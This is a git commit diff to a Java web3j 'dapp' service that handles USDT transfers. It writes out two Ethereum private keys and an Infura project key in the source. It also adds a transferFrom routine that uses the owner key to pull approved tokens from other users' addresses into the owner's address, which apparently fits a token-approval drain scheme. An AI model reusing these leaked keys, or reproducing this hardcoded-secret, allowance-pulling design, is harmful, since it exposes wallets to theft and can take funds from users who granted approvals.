fix some bug and problem and add agent return

Helius

2022-04-02 06d334585a2174726e3574ea939e10beec620bae

 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java

@@ -2,6 +2,7 @@


import cc.mrbird.febs.common.exception.FebsException;

import cn.hutool.core.collection.CollUtil;

import com.alibaba.fastjson.JSONObject;

import lombok.extern.slf4j.Slf4j;

import org.apache.commons.lang3.StringUtils;

import org.web3j.abi.FunctionEncoder;

@@ -53,8 +54,8 @@
   //private static final String ETH_UTL = "http://120.55.86.146:8545";

   //   private static final String ETH_UTL = "http://114.55.250.231:8545";

   private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";

   private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";

   private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";

   private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";

   private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";



   public EthService() {

      try {

@@ -146,16 +147,17 @@
   }



   public static void main(String[] args) throws IOException {

      HttpService service = new HttpService(ETH_UTL);

      Web3j build = Web3j.build(service);

      //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");

      Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");

      EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();

      String status = send.getResult().getStatus();

      System.out.println(status);//0x1

//      HttpService service = new HttpService(ETH_UTL);

//      Web3j build = Web3j.build(service);

//      //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");

//      Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");

//      EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();

//      String status = send.getResult().getStatus();

//      System.out.println(status);//0x1

//      EthTransaction send = ethTransactionRequest.send();

//      String input = send.getResult().getInput();

//      System.out.println(input);

      System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));

   }



   /**

@@ -210,8 +212,9 @@
      // Web3j web3j = Web3j.build(new

      // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));

      if(StringUtils.isBlank(gas)){

         gas="70";

         gas="35";

      }



      String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";

      Credentials credentials = Credentials.create(privateKey);



@@ -229,20 +232,67 @@


      RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,

            Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快

            Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限

            Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限

              // 10*80000/1000000000=0.0008 手续费



      byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);

      String hexValue = Numeric.toHexString(signedMessage);



      // log.debug("transfer hexValue:" + hexValue);

      CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();

      EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();

      //return "hash";

//      log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));



      if (ethSendTransaction.hasError()) {

         return "";

      } else {

         String transactionHash = ethSendTransaction.getTransactionHash();

         // log.info("Transfer transactionHash:" + transactionHash);

         return transactionHash;

      }

   }



   public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)

         throws InterruptedException, ExecutionException {

      if(StringUtils.isBlank(gas)){

         gas="35";

      }



      BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));

      amount = amountPow.toPlainString();

      if (amount.contains(".")) {

         amount = amount.substring(0, amount.lastIndexOf("."));

      }



      String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";

      Credentials credentials = Credentials.create(privateKey);



      EthGetTransactionCount ethGetTransactionCount = web3j

            .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();



      BigInteger nonce = ethGetTransactionCount.getTransactionCount();



      Function function = new Function("transferFrom",

            Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),

            Arrays.asList(new TypeReference<Type>() {

            }));



      String encodedFunction = FunctionEncoder.encode(function);



      RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,

            Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快

            Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限

      // 10*80000/1000000000=0.0008 手续费



      byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);

      String hexValue = Numeric.toHexString(signedMessage);



      CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();

      EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();

      //return "hash";

//      log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));



      if (ethSendTransaction.hasError()) {

         // log.info("transfer error:", ethSendTransaction.getError().getMessage());

         return "";

      } else {

         String transactionHash = ethSendTransaction.getTransactionHash();

@@ -253,7 +303,7 @@


   public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {

      try {

         return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);

         return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);

      } catch (InterruptedException | ExecutionException e) {

         e.printStackTrace();

         return "";

@@ -303,10 +353,10 @@
      outputParameters.add(typeReference);



      Function function = new Function(methodName,

            Arrays.asList(new Address(toAddress), new Address(fromAddress))

            Arrays.asList(new Address(fromAddress), new Address(toAddress))

            , outputParameters);

      String data = FunctionEncoder.encode(function);

      Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);

      Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);



      EthCall ethCall = null;

      try {

@@ -320,4 +370,5 @@
   }







}